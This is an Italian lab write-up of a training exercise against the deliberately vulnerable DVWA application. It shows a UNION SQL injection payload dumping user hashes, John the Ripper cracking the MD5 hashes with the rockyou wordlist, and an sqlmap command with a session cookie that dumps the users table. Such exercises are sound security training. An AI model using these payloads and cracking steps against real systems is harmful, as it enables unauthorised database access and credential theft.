Recupero delle Password in Chiaro

L'obiettivo dell'esercizio di oggi è recuperare le password in chiaro a partire dalle hash MD5 estratti dal database *(DVWA)* .

Le hash delle password sono stati ottenuti tramite SQL Injection su DVWA.

```
ID: ' UNION SELECT user,password FROM dvwa.users -- -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password FROM dvwa.users -- -
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password FROM dvwa.users -- -
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password FROM dvwa.users -- -
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password FROM dvwa.users -- -
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Per organizzare i dati estratti, è stato creato un file di testo (**dvwapasshashes.txt**) contenente gli username e le relative hash.

```
└─$ cat dvwapasshashes.txt
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

Per determinare il tipo di hash utilizziamo lo strumento **hash-identifier.**

```
└─$ hash-identifier
   ##########################################################################
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                        #
   #                                                                v1.2    #
   #                                                          By Zion3R     #
   #                                                     www.Blackploit.com #
   #                                                    Root@Blackploit.com #
   ##########################################################################
 HASH: 5f4dcc3b5aa765d61d8327deb882cf99

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

Inserendo l'hash **5f4dcc3b5aa765d61d8327deb882cf99**, lo strumento ha suggerito che si trattava di un hash **MD5,** andiamo quindi ad utilizzare John The Ripper per craccare le hash.

Facciamo partire il comando tramite terminale kali.

```
└─$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt dvwapasshashes.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4×3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (admin)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
4g 0:00:00:00 DONE (2025-03-06 08:18) 133.3g/s 96000p/s 96000c/s 128000C/s my3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

```
└─$ john --show --format=Raw-MD5 dvwapasshashes.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password
```

Come possiamo vedere abbiamo lanciato il comando specificando il formato delle hash e la wordlist da utilizzare e quasi istantaneamente ci ha stampato le password in chiaro.

Sqlmap

Lo stesso risultato può essere ottenuto con sqlmap, tramite un solo comando riusciamo a ottenere in chiaro username e password che il database contiene, inoltre sqlmap rileva automaticamente il tipo di hash.

```
sqlmap --cookie="PHPSESSID=ac915ec45a65ee99466c4bf1ab214385" -u "http://192.168.50.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump
```

user_id	user	avatar	password	last_name	first_name
1	admin	http://192.168.50.101/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin
2	gordonb	http://192.168.50.101/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon
3	1337	http://192.168.50.101/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack
4	pablo	http://192.168.50.101/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo
5	smithy	http://192.168.50.101/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob

user_id	user	avatar
1	admin	http://192.168.50.101/dvwa/hackable/users/admin.jpg
2	gordonb	http://192.168.50.101/dvwa/hackable/users/gordonb.jpg
3	1337	http://192.168.50.101/dvwa/hackable/users/1337.jpg
4	pablo	http://192.168.50.101/dvwa/hackable/users/pablo.jpg
5	smithy	http://192.168.50.101/dvwa/hackable/users/smithy.jpg

password	last_name	first_name
5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin
e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon
8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack
0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo
5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob